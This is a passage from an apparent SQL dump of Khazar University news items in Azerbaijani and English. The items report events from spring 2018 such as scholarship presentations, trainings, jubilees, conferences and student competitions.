Lankaran office of Union of Azerbaijani Writers...','<p>Representatives of Jalilabad Poetry Club visited Lankaran office of Union of Azerbaijani Writers (UAW) on the occasion of International Poetry Day on March 22, 2018. Aghamir Javad, a representative of Lankaran office, UAW, greeted participants at the ceremony. Then Gardashkhan Azizkhanli, a lecturer at Khazar University, and the initiator of the idea “It is exceptional spring…”, talked about the aim of the ceremony. He also mentioned the importance of upcoming presidential elections, and anniversaries to be organized on the state level which should have a positive impact on the literary environment of the regions.</p><p>Talented poet Alizadeh Nuri, chairman of Jalilabad Poetry Club; Bilal Alarli, PhD in Philology and press secretary; Alirza Hasrat, Secretary on poetic issues; as well as the hosts - Gafar Jafarov, writer, Islam Rzayev, poet, and other participants - Bayalar Sadig, poet, and Alishir Shukurov, poet, talked about theoretical issues of poetry, and recited their new poems.</p><p>Then instructors of Lankaran Music School named after J.Jabbarly, Abulfaz Ahmadov, tar player, and Imanverdi Aghayev, singer, performed pieces of music.</p>'),(5273,3056,'az','PETRONAS Texnoloji Universitetində təqaüdlə təhsil proqramı haqqında təqdimat','2018-ci il martın 28-də Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin kimya...','<p>2018-ci il martın 28-də Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin kimya   mühəndisliyi, neft mühəndisliyi ixitisaslarının tələbələri üçün PETRONAS şirkətinin Azərbaycan nümayəndəliyinin təqdimatı keçirildi. Təqdimat PETRONAS şirkətinin kimya mühəndisliyi, neft mühəndisliyi ixitisaslar üzrə təhsil alan tələbələrə təhsillərini Malayziyanın Universiti Teknologi PETRONAS (UTP) universitetində davam etdirmək üçün elan etdiyi tam təqaüd proqramına həsr edilmişdi. Öncə şirkətin nümayəndəsi Aysel Allahverdiyeva şirkət haqqında məlumat verərək, bildirdi ki, PETRONAS dünya neft-qaz şirkəti yarandığı andan dünyanın 35 ölkəsində biznes maraqları ilə, inteqrasiya olunmuş Malaysiyanın beynəlxalq neft-qaz şirkətidir. Sonra isə təqaüd proqramı haqqında tələbələrə geniş məlumat verildi.</p><p>Təqdimatın sonunda şirkət nümayəndələri tərəfindən tələbələrin sualları cavablandırıldı.</p><p>Qeyd edək ki, şirkət neft-qaz sektorunda geniş sahəli fəaliyyəti ilə fərqlənir. 1975-ci ildən etibarən PETRONAS 36.000-dən çox layiqli və bacarıqlı tələbəyə təhsil potensialını yüksək səviyyədə həyata keçirmək üçün təqaüd təklif etmişdir. Bu tələbələr yüksək performans göstərmək, zehniyyət, güclü liderlik və sərhədləri aşmaq bacarıqları ilə fərqlənmişlər.</p>'),(5274,3056,'en','Presentation on a scholarship program at Universiti Teknologi PETRONAS','Representative office of PETRONAS Company in Azerbaijan held a presentation for students...','<p>Representative office of PETRONAS Company in Azerbaijan held a presentation for students of Oil Engineering specialty, the School of Engineering and Applied Sciences of Khazar University. The presentation was about full scholarship program at Universiti Teknologi PETRONAS (UTP) for students of Oil Engineering specialty, the School of Engineering and Applied Sciences. Aysel Allahverdiyeva, a representative of the company, talked about the company, and mentioned that the PETRONAS, an International Malaysian oil and gas company, operates in 35 countries merging business and oil sectors. Then Aysel Allahverdiyeva delivered full information on the scholarship program. Company representatives also answered students’ questions.</p><p>PETRONAS is a distinguished company in oil and gas sector. Since 1975, PETRONAS has provided more than 36.000 students, who are prominent for their knowledge and leadership skills, with scholarship programs</p>'),(5281,3060,'az','Xəzər Universitetinin əməkdaşı beynəlxalq konqresdə iştirak edəcək','2018-ci il aprelin 26-dan 29-dək Türkiyənin Kastamonu şəhərində “Mühəndislik və təbiət elmləri...','<p>2018-ci il aprelin 26-dan 29-dək Türkiyənin Kastamonu şəhərində “Mühəndislik və təbiət elmləri” (<em>Engineering and Life Sciences</em>) adlı beynəlxalq konqres keçiriləcək. Konqresə Xəzər Universitetinin Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov da dəvət olunmuşdur.</p><p><img src=\"/files/letters/inv_letter.JPG\" style=\"margin-top:7px;width:500px;height:574px;vertical-align:baseline\"><br></p>'),(5277,3058,'az','Avrasiya Hasilat Sənayesi Bilik Mərkəzi növbəti təlimə start verdi','2018-ci il martın 29-da Avrasiya Hasilat Sənayesi Bilik Mərkəzi növbəti təliminə...','<p>2018-ci il martın 29-da Avrasiya Hasilat Sənayesi Bilik Mərkəzi növbəti təliminə start verdi. Xəzər Universitetində keçirilən təlim “Təbii sərvətlərin davamlı inkişafa transformasiyası” mövzusuna həsr edilmişdi. Təlimdə Avrasiya regionunun 6 ölkəsindən –&nbsp;Qazaxıstan, Qırğızıstan, Tacikistan, Monqolustan, Ukrayna və Azərbaycandan 30 nəfər iştirak edirdi. İştirakçılar hökumət, vətəndaş cəmiyyəti, media və özəl sektorun təmsilçiləridir.</p><p>Təlimçilər –&nbsp;ABŞ-ın tanınmış eksperti Patrick Heller və Avrasiya Bilik Mərkəzinin mütəxəssisləridir.</p><p>Təlim 8 gün davam edəcək.</p>'),(5278,3058,'en','The Eurasia Extractive Industries Knowledge Hub starts a training','The Eurasia Extractive Industries Knowledge Hub started another training on...','<p>The Eurasia Extractive Industries Knowledge Hub started another training on March 29, 2018. The training, organized at Khazar University, was on topic “Transformation of natural resources into sustainable development”. 30 participants out of 6 countries of Eurasia (Kazakhstan, Kyrgyzstan, Tajikistan, Mongolia, Ukraine and Azerbaijan) took part in the training. The participants represented governments, civil societies, media and the private sector.</p><p>The training was run by Patrick Heller, a prominent expert from the USA, and experts of Eurasia Knowledge Center.</p><p>The training will run 8 days.</p>'),(5279,3059,'az','Doktorantura və Magistratura Tələbə Birliyi Novruz bayramını qeyd etdi','2018-ci il martın 16-da Xəzər Universiteti Doktorantura və Magistratura Tələbə Birliyi Novruz bayramı...','<p>2018-ci il martın 16-da Xəzər Universiteti Doktorantura və Magistratura Tələbə Birliyi Novruz bayramı münasibətilə tədbir keçirdi. Tədbirdə çay süfrəsi ətrafında gənc elm adamları həmsöhbət oldular, fikir mübadiləsi etdilər və potensial əməkdaşlıqların doğura biləcəyi uğurlardan bəhs etdilər. Birliyə yeni qoşulan doktorantura tələbələri birliyin fəaliyyətləri ilə tanış olarkən gələcək fəaliyyətlər haqqında söhbət açdılar. Novruz şirniyyatları tədbirə gələn əcnəbi doktorantura tələbələri tərəfindən maraqla qarşılandı və bəyənildi.</p>'),(5280,3059,'en','PhD and Master’s Students Association commemorates Novruz holiday','PhD and Master’s Students Association organized a party on the occasion of Novruz holiday...','<p>PhD and Master’s Students Association organized a party on the occasion of Novruz holiday on March 16, 2018. Sitting at a tea table, young scientists exchanged views and talked about collaborations. Newly joined doctoral students got acquainted with the association and its plans. International doctoral students tasted Novruz candies with pleasure.</p>'),(5282,3060,'en','Khazar University staff member at international congress','An international congress “Engineering and Life Sciences” will be held in Kastamony...','<p>An international congress “<em>Engineering and Life Sciences</em>” will be held in Kastamony, Turkey, on 26-29 April, 2018. Rovshan Abbasov, Head of Department of Geography and Environment, has been invited to the congress.</p>  <p><img src=\"/files/letters/inv_letter.JPG\" style=\"margin-top:7px;width:500px;height:574px;vertical-align:baseline\"><br></p>'),(5283,3061,'az','Xəzər Universitetinin tələbələri “Peer to Peer: Facebook Qlobal Rəqəmsal Çağırışı” müsabiqəsində','Xəzər Universiteti 2017-2018-ci tədris ilinin yaz semestrində dünya universitet gənclərinin təşəbbüsü...','<p>Xəzər Universiteti 2017-2018-ci tədris ilinin yaz semestrində dünya universitet gənclərinin təşəbbüsü ilə təşkil olunan “<em>Peer to Peer: Facebook Qlobal Rəqəmsal Çağırışı</em>” beynəlxalq müsabiqəsində iştirak edəcək. Bu, universitetin müsabiqədə dördüncü iştirakı olacaq. Müsabiqədə iştirak edən komandalar öz cəmiyyətlərini narahat edən ekstremizm halları ilə mübarizəyə tövsiyə verən rəqəmsal marketinq kampaniyası hazırlamalı və tətbiq etməlidirlər.</p><p>Bu semestrdə Xəzər Universitetini İqtisadiyyat və menecment departamentinin tələbələrindən ibarət “<em>The Same</em>” komandası təmsil edəcək. Komandaya bir koordinator və altı tələbə daxildir: Bahadır Baysal (İqtisadiyyat və menecment departamentinin koordinatoru), Ruslan Osmanlı (Menecment, bakalavr), Sinan Rzayev (Mühasibatlıq və audit, bakalavr), Xəyalə Şıxəliyeva (Mühasibatlıq və audit, bakalavr), Taliyə Hüseynzadə (Maliyyə, bakalavr), Etibar Saatov (Maliyyə, bakalavr) və Aslan İsaxanlı (Menecment, bakalavr).</p><p>Komandanın məqsədi irqçiliyin aradan qaldırılması, eləcə də, dini, irqi və milli ayrı-seçkilik aparmadan insanların bir-birinin fikrinə hörmət bəsləməsini təşviq etməkdir. Komanda öz fəaliyyəti ilə irqindən, milli yaxud dini mənsubiyyətindən asılı olmayaraq, bütün insanların bərabər olması faktını göstərməyə çalışacaq.&nbsp;</p><p>Komanda və onun fəaliyyəti ilə yaxından tanış olmaq üçün aşağıdakı səhifələrə baxmaq olar:</p><p><strong>Veb-sayt:</strong> <a href=\"https://thesameaze.wixsite.com/thesame\">https://thesameaze.wixsite.com/thesame</a>;&nbsp;</p><p><strong>Instagram</strong><strong>: </strong><a href=\"https://www.instagram.com/thesame.aze/\">https://www.instagram.com/thesame.aze/</a>;</p><p><strong>Facebook: </strong><a href=\"https://www.facebook.com/thesame.aze/\">https://www.facebook.com/thesame.aze/</a>.</p>'),(5284,3061,'en','Students of Khazar University in “Peer to Peer: Facebook Global Digital Challenge\"','In Spring semester of 2017-2018 academic year Khazar University will participate...','<p>In Spring semester of 2017-2018 academic year Khazar University will participate in “<em>Peer to Peer: Facebook Global Digital Challenge</em>”, a global university youth initiative and an international competition. This will be the fourth time that the university takes part in this global challenge. Each participating team must design and carry out a digital marketing campaign targeting extremism that resonates with their community.</p><p>This semester Khazar University is represented by a team of students from the Department of Economics and Management called “<em>The Same</em>”. The team includes six students and a team coordinator: Bahadir Baysal (Coordinator of Economics and Management Department), Ruslan Osmanli (Management; BBA), Sinan Rzayev (Accounting and auditing; BBA), Khayala Shikhaliyeva (Accounting and auditing; BBA), Taliya Huseyinzada (Finance; BBA), Etibar Saatov (Finance; BBA), and Aslan Isaxanli (Management; BBA)</p><p>The goal of the team is to stop racism and promote respect to each other’s’ opinions without discrimination by religion, race, and nationality. Through its activities the team aims to show that regardless of race, nationality or religion, people are all the same.&nbsp;</p><p>For more information about the team and its activities, visit the following pages:</p><p style=\"background:undefined \"><strong>Website:</strong>&nbsp;<a href=\"https://thesameaze.wixsite.com/thesame\">https://thesameaze.wixsite.com/thesame</a>;&nbsp;</p><p><strong>Instagram</strong><strong>:&nbsp;</strong><a href=\"https://www.instagram.com/thesame.aze/\">https://www.instagram.com/thesame.aze/</a>;</p><p><strong>Facebook:&nbsp;</strong><a href=\"https://facebook.com/profile.php?id=876907239143157&amp;ref=content_filter\"></a><a href=\"https://www.facebook.com/thesame.aze/\">https://www.facebook.com/thesame.aze/</a>.  </p>'),(5285,3062,'az','Xəzər Universitetində dekan Cabir Xəlilovun yubileyi keçirildi','2018-ci il martın 29-da Xəzər Universitetində Humanitar və sosial elmlər fakültəsinin dekanı...','<p>2018-ci il martın 29-da Xəzər Universitetində Humanitar və sosial elmlər fakültəsinin dekanı, hüquq üzrə fəlsəfə doktoru, dosent Cabir Xəlilovun 60 illik yubileyi münasibətilə tədbir keçirildi. Tədbirdə universitetin rəhbərliyi, dekanlar və departament müdirləri, əməkdaşlar iştirak edirdilər.</p><p>Universitetin məzunlarla iş bölməsinin müdiri Baba Bayramlının aparıcılıq etdiyi tədbirdə&nbsp;İdarəetmə və tələbə işləri üzrə prorektor&nbsp;İsaxan İsaxanlı çıxış edərək, C. Xəlilovun universitetdəki uzunmüddətli fəaliyyətini yüksək qiymətləndirdi, yubilyara təbrik məktubunu və gül dəstəsi təqdim etdi.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, universitetin rektoru Hassan Niknafs, Tədris işləri üzrə prorektor Məhəmməd Nuriyev, Humanitar və sosial elmlər fakültəsinin dekan müavini Validə Kərimova, İngilis dili və ədəbiyyatı departamentinin müəllimləri Firəngiz Nəsirova və Kəmalə Əsgərova, Magistratura, doktorantura və elmi işlər bölməsinin müdiri Eldar Şahgəldiyev, Təhsil&nbsp;fakültəsinin dekanı Elza Səmədova, İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli,&nbsp;Siyasi elm və beynəlxalq münasibətlər departamentinin koordinatoru Elmar Mustafayev çıxış edərək, yubilyar haqqında xoş sözlər söylədilər, onun pedaqoq və təhsil rəhbəri kimi fəaliyyətini yüksək dəyərləndirdilər.</p><p>Sonda Cabir Xəlilov çıxış edərək, yubiley tədbirinin təşkilinə görə universitet rəhbərliyinə və iştirakçılara təşəkkürünü bildirdi.</p><p>Tədbirin bədii hissəsində Xəzər Universitetinin Kamera orkestri, Roman Azaflı aşıq havaları və Təhsil fakültəsinin tələbəsi Şəmsiyyə Cəfərova bəstəkar mahnıları ilə çıxış etdilər.</p>'),(5286,3062,'en','Jabir Khalilov’s jubilee at Khazar University','On March 29, 2018, a jubilee ceremony was held at Khazar University to commemorate...','<p>On March 29, 2018, a jubilee ceremony was held at Khazar University to commemorate Jabir Khalilov’s, Dean of the School of Humanities and Social Sciences of Khazar University, PhD in Law, 60<sup>th</sup> birthday. The university administration, deans and heads of departments as well as university staff participated in the ceremony. Isakhan Isakhanli, vice rector for Administration and Student Affairs, delivered a speech&nbsp;at the event, presented by Baba Bayramli, Director of the Center for Alumni Relations, and highly appreciated the long-term activities of Jabir Khalilov at the university, presented a congratulatory letter and a bunch of flowers.&nbsp;  </p><p>Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, Dr. Hassan Niknafs, Rector of the University, Professor Mahammad Nuriyev, Vice Rector of Khazar University for Academic Affairs, Valida Karimova, Vice-dean of the School of Humanities and Social Sciences, Firangiz Asgarova and Kamala Asgarova, senior instructors of the Department of English Language and Literature, Eldar Shahgaldiyev, Head of the Division for Graduate Students and Research, Elza Semedli,&nbsp;Dean of the School of Education, Alovsat Amirbeyli, Director of Public Relations&nbsp;and&nbsp;Media,&nbsp;and Elmar Mustafayev, Coordinator of the Department of Political Science and International Relations, delivered speeches appreciating Jabir Khalilov’s pedagogical activities and career.</p><p>Jabir Khalilov delivered a speech and thanked university administration and participants for the ceremony.</p>'),(5287,3063,'az','Professor Hamlet İsaxanlı “Açıq dərs”in qonağı oldu','2018-ci il martın 28-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının...','<p>2018-ci il martın 28-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı İctimai televiziyada canlı yayımlanan “Açıq dərs” proqramında iştirak etdi. H.İsaxanlı ali təhsilin keyfiyyəti, məzunlar və onların işə düzəlməsi, universitet-sənaye və universitet-orta məktəb əlaqələri barədə fikirlərini söylədi, universitetlərin dünyanın dinamik dəyişmə sürəti ilə hesablaşması yolları kimi məsələlər ətrafında danışdı.</p>'),(5288,3063,'en','Professor Hamlet Isakhanli on television broadcast','On March 28, 2018, professor Hamlet Isakhanli, founder of Khazar University and Chairman...','<p>On March 28, 2018, professor Hamlet Isakhanli, founder of Khazar University and Chairman of its Board of Directors and Trustees, participated at the “Aciq ders” (“Open Lecture”), live television broadcast of Ictimai Television. He expressed his thoughts about the quality of higher education, graduates and their recruitment, university-industry and university-secondary school relations, and talked around the topics of keeping up methods of universities with the speed of dynamic change in the world.</p>'),(5289,3064,'az','“Miqrasiyanın iqtisadi və sosial aspektləri: çağırışlar və miqrasiya siyasəti” mövzusunda seminar-təlim','2018-ci il martın 30-da Xəzər Universitetində Erasmus+ “Universitetdə miqrasiya təhsilinin təşviqi...','<p>2018-ci il martın 30-da Xəzər Universitetində Erasmus+ “Universitetdə miqrasiya təhsilinin təşviqi” (PROMIG, 573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP) layihəsi çərçivəsində “Miqrasiyanın iqtisadi və sosial aspektləri: çağırışlar və miqrasiya siyasəti” mövzusunda İqtisadiyyat və menecment fakültəsi, Miqrasiya Araşdırmalar Mərkəzi və İnkişaf Mərkəzinin təşkilatçılığı ilə bir günlük seminar-təlim keçirildi. Alikante Universitetinin (İspaniya) əməkdaşları Dr.Oana Driha və Dr. Maria-Jemenez Delgado miqrasiya və iqtisadi inkişaf, miqrasiyanın sosial-mədəni aspektləri, miqrasiya və təhsil mövzularında təlimlər verdilər. Təlimdə Xəzər Universitetinin tələbələri və əməkdaşları ilə yanaşı, layihənin koordinatoru İvane Cavaxişvili Tbilisi Dövlət Universitetinin əməkdaşı Dr. Nino Parsadanişvili, Bakı Mühəndislik Universitetinin tələbə və əməkdaşları, Sumqayit Dövlət Universiteti və Naxçıvan Dövlət Universitetindən nümayəndələr, ADA Universitetinin tələbələri, Azərbaycan Respublikası Dövlət Miqrasiya Xidmətinin əməkdaşı və Beynəlxalq Miqrasiya Təşkilatının əməkdaşları iştirak edirdilər. Seminar-təlim, həmçinin, eyni adlı layihə haqqında məlumatın ölkəmizin ali təhsil müəssisələri arasında yayılması məqsədini daşıyır.</p><p>Sonda iştirakçılara sertifikatlar verildi.</p><p>Alikante Universitetinin əməkdaşları Dr.Oana Driha və Dr. Maria-Jemenez Delgado və layihənin koordinatoru İvane Cavaxişvili Tbilisi Dövlət Universitetinin əməkdaşı Dr. Nino Parsadanişvili Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə görüşdülər və gələcək əməkdaşlıq haqqında müzakirələr apardılar.</p>'),(5290,3064,'en','Seminar-training on “Economic and social aspects of migration: challenges and migration policy”','On March 30, 2018, a seminar-training on “Economic and social aspects of migration...','<p>On March 30, 2018, a seminar-training on “Economic and social aspects of migration: challenges and migration policy” was held at Khazar university, within Erasmus + “Promoting migration education at universities” project (PROMIG, 573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP), with the organizational support of School of Economics and Management, the Migration Competence Centre, and the Development Office. Trainers Dr. Oana Driha and Dr. Maria-Jemenez Delgado, from the University of Alicante, Spain delivered the training session on topics migration and economic development, social and cultural aspects of migration, migration and education. The training was attended by Dr. Nino Parsadanishvili, the coordinator of the project, representative of the Ivane Javakhishvili Tbilisi State University; students and staff of the Baku Engineering University; representatives of Sumgayit State University and Nakhchivan State University; students of ADA University; representative of the Azerbaijan State Migration Service and representatives of the International Organization for Migration and the students and staff members of Khazar University. Moreover, the aim of the seminar-training is to disseminate&nbsp;information on the above-mentioned issues among the universities of Azerbaijan.&nbsp;</p><p>At the end, the participants were presented certificates.</p><p>The Founder of Khazar University and Chairman of its Board of Directors and Trustees received the guests from the University of Alicante and the Ivane Javakhishvili Tbilisi State University and they discussed future collaboration among universities.</p>'),(5701,3273,'az','Amerikada təhsil almağın yolları barədə müzakirə','2018-ci il mayın 23-də Xəzər Universiteti Karyera Mərkəzinin təşəbbüsü...','<p>2018-ci il mayın 23-də Xəzər Universiteti Karyera Mərkəzinin təşəbbüsü ilə Amerikada təhsil ilə&nbsp;bağlı (round table) müzakirə keçirildi. Müzakirədə Leyla Həmidova (EducationUSA Advisor) Amerikada təhsil almağın yolları və təqaüd imkanlari haqqında geniş məlumat verdi.</p><p>Daha sonra isə Leyla Həmidova tələbələrin suallarını cavablandıraraq, onlara universitet seçimi ilə bağlı məsləhətlər verdi.</p>'),(5702,3273,'en','Discussion on education opportunities in America','On May 23, 2018, on the initiative of Career Center of Khazar University...','<p>On May 23, 2018, on the initiative of Career Center of Khazar University, a roundtable discussion on education opportunities in America was held. In the discussion, Leyla Hamidova (Education USA Advisor) informed the participants about education and scholarship opportunities in America.</p><p>Leyla Hamidova also answered students’ questions and gave them advice on the choice of a university.</p>'),(5291,3065,'az','Amerika Riyaziyyat Cəmiyyəti və Rusiya riyaziyyat portalı Xəzər Universitetində keçiriləcək konfrans haqda məlumat yaydı','Rusiyanın ən böyük riyaziyyat portalı mathnet.ru və dünyanın ən mötəbər riyaziyyat cəmiyyətlərindən...','<p>Rusiyanın ən böyük riyaziyyat portalı <strong><em>mathnet.ru</em></strong> və dünyanın ən mötəbər riyaziyyat cəmiyyətlərindən biri hesab olunan Amerika Riyaziyyat Cəmiyyəti (American Mathematical Society) Xəzər Universiteti Riyaziyyat departamentinin təşkilatçılığı ilə 2018-ci il mayın 21-dən 24-dək Xəzər Universitetində keçiriləcək və universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının 70 illik yubileyinə həsr olunan “<em><a href=\"https://sites.google.com/view/ofsmp2018/home\">Operators, Functions, and Systems of Mathematical Physics Conference</a></em>” konfransı barədə məlumat yaymışdır.&nbsp;</p><p>Bu linklər vasitəsilə konfrans haqda daha geniş məlumat almaq olar:</p><p><a href=\"http://www.mathnet.ru/php/conference.phtml?option_lang=rus\">http://www.mathnet.ru/php/conference.phtml?option_lang=rus</a>;</p><p><a href=\"http://www.ams.org/meetings/calendar/mathcal\">http://www.ams.org/meetings/calendar/mathcal</a>.</p>'),(5292,3065,'en','American Mathematical Society and mathematical portal of Russia report on the conference to be held at Khazar University','Mathnet.ru, the biggest mathematical portal of Russia and American Mathematical Society...','<p><strong><em>Mathnet.ru</em></strong>, the biggest mathematical portal of Russia and American Mathematical Society, one of the prominent mathematical societies in the world, reported on the “<em><a href=\"https://sites.google.com/view/ofsmp2018/home\">Operators, Functions, and Systems of Mathematical Physics Conference</a></em>”  to be organized by the Department of Mathematics, Khazar University on May 21-24, 2018, which is dedicated to Prof. Hamlet Isakhanli’s, the founder of Khazar University and Chairman of its Board of Directors and Trustees, 70<sup>th</sup> jubilee.</p>\r\n<p>For further information about the conference:</p><p><a href=\"http://www.mathnet.ru/php/conference.phtml?option_lang=rus\">http://www.mathnet.ru/php/conference.phtml?option_lang=rus</a>;</p><p><a href=\"http://www.ams.org/meetings/calendar/mathcal\">http://www.ams.org/meetings/calendar/mathcal</a>.</p>'),(5294,3066,'en','Hamlet Isakhanli delivers a speech in a ceremony','On March 30, 2018, a creative evening combined of a number of symphonic...','<p>On March 30, 2018,&nbsp;a&nbsp;creative evening&nbsp;combined of a number of symphonic works of the famous composer Vasif Allahverdiyev was held at the&nbsp;M. Magomayev Azerbaijan State Philharmonic Hall. Professor Hamlet Isakhanli, founder of Khazar University, Chairman of the Board of Directors and Trustees, inaugurated the night with his speech. After giving a brief information about symphonic music and orchestra, he talked about the history and development of the symphonic music in Azerbaijan. Following the analysis of creative way of life and works of the composer Vasif Allahverdiyev, Hamlet Isakhanli gave the stage to the Uzeyir Hajibeyli Azerbaijan State Symphonic Orchestra. Orchestra performed five compositions of Vasif Allahverdiyev.</p><p>More information can be found via the following link:</p><p><a href=\"https://azertag.az/xeber/Bestekar_Vasif_Allahverdiyevin_yaradiciliq_gecesi_kechirilib-1148543\">https://azertag.az/xeber/Bestekar_Vasif_Allahverdiyevin_yaradiciliq_gecesi_kechirilib-1148543</a>.  <br></p>'),(5295,3067,'az','Professor Hamlet İsaxanlı “Dünya” məktəbinin rəhbər heyəti ilə görüşdü','2018-ci il martın 30-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar şurasının sədri professor...','<p>2018-ci il martın 30-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar şurasının sədri professor Hamlet İsaxanlı Xəzər Universiteti nəzdində fəaliyyət göstərən “Dünya” məktəbinin rəhbər heyəti ilə görüşdü. O, ali təhsilə qədər təhsil-təlim-tərbiyə ilə məşğul olan “Dünya Təhsil Kompleksi”nin yaradılması haqqında məlumatı və “Dünya” məktəbinin təsisçiləri – Professor Hamlet İsaxanlı və Nailə xanım İsayevanın imzaladığı uyğun əmrləri iştirakçıların nəzərinə çatdırdı. Hamlet İsaxanlı “Dünya Təhsil Kompleksi”nin tərkib hissələri və inkişafı haqqında fikirlərini söylədi, verilən sualları cavablandırdı.</p>'),(5296,3067,'en','Prof. Hamlet Isakhanli meets management board of ‘Dunya’ School','On March 30, 2018, Prof. Hamlet Isakhanli, founder of Khazar University, and Chairman of the Board...','<p>On March 30, 2018, Prof. Hamlet Isakhanli, founder of Khazar University, and Chairman of the Board of Directors and Trustees, met the management board of ‘Dunya’ School affiliated with Khazar University. He informed participants about the establishment of ‘Dunya Education Complex’, which is engaged in education and learning until higher education level, and respective orders signed by Prof. Hamlet Isakhanli and Naila Isayeva, founders of ‘Dunya’ School. Hamlet Isakhanli expressed his thoughts about components and development of ‘Dunya Education Complex’ and answered the questions.</p>'),(5297,3068,'az','Xəzər Universiteti KUNİB-in sərgisində','2018-ci il martın 31-də Bakıdakı hotellərin birində KUNİB – Kafkas Universiteler Birliyinin...','<p>2018-ci il martın 31-də Bakıdakı hotellərin birində KUNİB – Kafkas Universiteler Birliyinin təhsil sərgisi keçirildi. Sərgidə Türkiyənin və Azərbaycanın müxtəlif universitetləri iştirak edirdilər. Sərginin ilk günü rəsmi açılış&nbsp;oldu. KUNİB-in başqanı Ramazan Korkmaz təhsil sərgisində iştirak edən qonaqları salamladı və rəsmi açılışı elan etdi. Açılışda Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, Türkiyənin Azərbaycandakı səfiri Erkan Özoral, Türkiyə və Azərbaycan universitetlərinin rektorları və digər şəxslər çıxış etdilər. Sonra qonaqlar universitetlərlə tanış oldular. Xəzər Universiteti hər zaman olduğu kimi, bu dəfə də qonaqların və çoxsaylı orta məktəb şagirdlərinin diqqət mərkəzində idi. Sərgidə universitetin İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli, tələbə və qeydiyyat şöbəsinin müdiri Lamiyə Namazova və Karyera Mərkəzinin meneceri&nbsp;Səbinə Allahverənova iştirak edirdilər. Sərgi iki gün davam etdi.</p>'),(5298,3068,'en','Khazar University at KUNIB exhibition','KUNIB (Caucasus University Association) held an exhibition in one of the...','<p>KUNIB (Caucasus University Association) held an exhibition in one of the hotels in Baku, on March 31, 2018. Several universities of Turkey and Azerbaijan participated in the exhibition. An official opening ceremony was held on the first day of the exhibition. Ramazan Korkmaz, President of KUNIB, greeted guests, and declared the exhibition officially open. Prof. Hamlet Isakhanli, founder of Khazar University and Chairman of its Board of Directors and Trustees, Erkan Ozal, Ambassador of Turkey to Azerbaijan, rectors of universities of Turkey and Azerbaijan also delivered speeches at the opening ceremony. Then participants got acquainted with the universities. As usual, Khazar University was in the focus of attention of visitors and secondary school students. Alovsat Amirbeyli, Director for Public Relations and Media, Lamiya Namazova, Head of Division of Students and Registration, and Sabina Allahveranova, Manager&nbsp;of Career Centre, also participated in the 2-days exhibition.      </p>'),(5299,3069,'az','Xəzər Universitetinin tələbələri “2D: Düşün və Dizayn et” layihəsinin qalibi oldular','2018-ci il martın 30-da “Gənc Xəzər mühəndisləri” (CES) İctimai Birliyinin...','<p>2018-ci il martın 30-da “Gənc Xəzər mühəndisləri” (CES) İctimai Birliyinin Universitetlərarası “<strong><em>2D: Düşün və Dizayn et</em></strong>” lahiyəsinin yekun mərhələsi Xəzər Universitetində keçirildi. Müsabiqənin nəticəsinə əsasən, Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin tələbələri –&nbsp;Rəvan Xəlilli (İnşaat mühəndisliyi), Xeyrulla Əmirov (Mexanika mühəndisliyi), İsmayıl Ağayev (Kimya mühəndisliyi), Adil Babayev (Elektronika mühəndisliyi), Bəhruz Ağayev (Kompüter mühəndisliyi) 1-ci yer tutdular. Ali təhsil müəssisələrində mühəndislik ixtisasları üzrə təhsil alan tələbələr arasında həyata keçirilən bu müsabiqənin əsas məqsədi gənclərin mühəndisliyə olan marağını artırmaq, eyni zamanda, onlarda mühəndislik üzrə bacarıq və ideyalara təkan vermək idi.</p><p>Xəzər Universitetinin rektoru Dr. Hassan Niknafs qalib tələbələrlə görüşərək, onları təbrik etdi və uğurlar arzuladı.</p><p>Qeyd edək ki, müsabiqədə Xəzər Universiteti ilə yanaşı, müxtəlif universitetlərdən (BANM, ADNSU, UFAZ, BMU, AZTU, MAA, AZMİU) seçim mərhələsindən keçmiş 10 komanda iştirak edirdi.</p>'),(5300,3069,'en','Khazar University students become winners of a project','On March 30, 2018, the final stage of the interuniversity project “2D: Düşün və Dizayn et...','<p>On March 30, 2018, the final stage of the interuniversity project \'<strong><em>2D: Düşün və Dizayn et</em></strong>\' (<strong><em>Think and Design</em></strong>), organized by “Young Khazar Engineers” Public Union, was held at Khazar University. The students of the School of Engineering and Applied Sciences of Khazar University – Revan Khalili (Civil Engineering), Kheyrulla Amirov (Mechanical Engineering), Ismayil Agayev (Chemical Engineering), Adil Babayev (Electronic Engineering), Behruz Agayev (Computer Engineering) - became the winners of the project. The aim of the competition, which is held among the students studying Engineering in various universities, is to increase the interest of the youth in Engineering, and support their skills and ideas in this field.</p><p>Dr. Hassan Niknafs, Rector of Khazar University met with the winners, congratulated them and wished them success.</p><p>It should be noted that along with Khazar University, 10 teams from various universities, which had passed the selection round, also participated in the competition.</p>'),(5301,3070,'az','“Soyqırımı unutmayaq” adlı tədbir keçirildi','2018-ci il martın 30-da Bakı Şəhər Mədəniyyət və Turizm Baş İdarəsi Nizami Rayon...','<p>2018-ci il martın 30-da Bakı Şəhər Mədəniyyət və Turizm Baş İdarəsi Nizami Rayon Mərkəzləşdirilmiş Kitabxanalar Sisteminin Mərkəzi Kitabxanasının birgə təşkilatçılığı ilə kitabxananın akt zalında 31 Mart –&nbsp;Azərbaycanlıların Soyqırımı Gününə həsr olunmuş “Soyqırımı unutmayaq” adlı tədbir keçirildi. Tədbirdə Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Xaqan Balayev, Təhsil fakültəsinin tələbələri, Xəzər rayonu 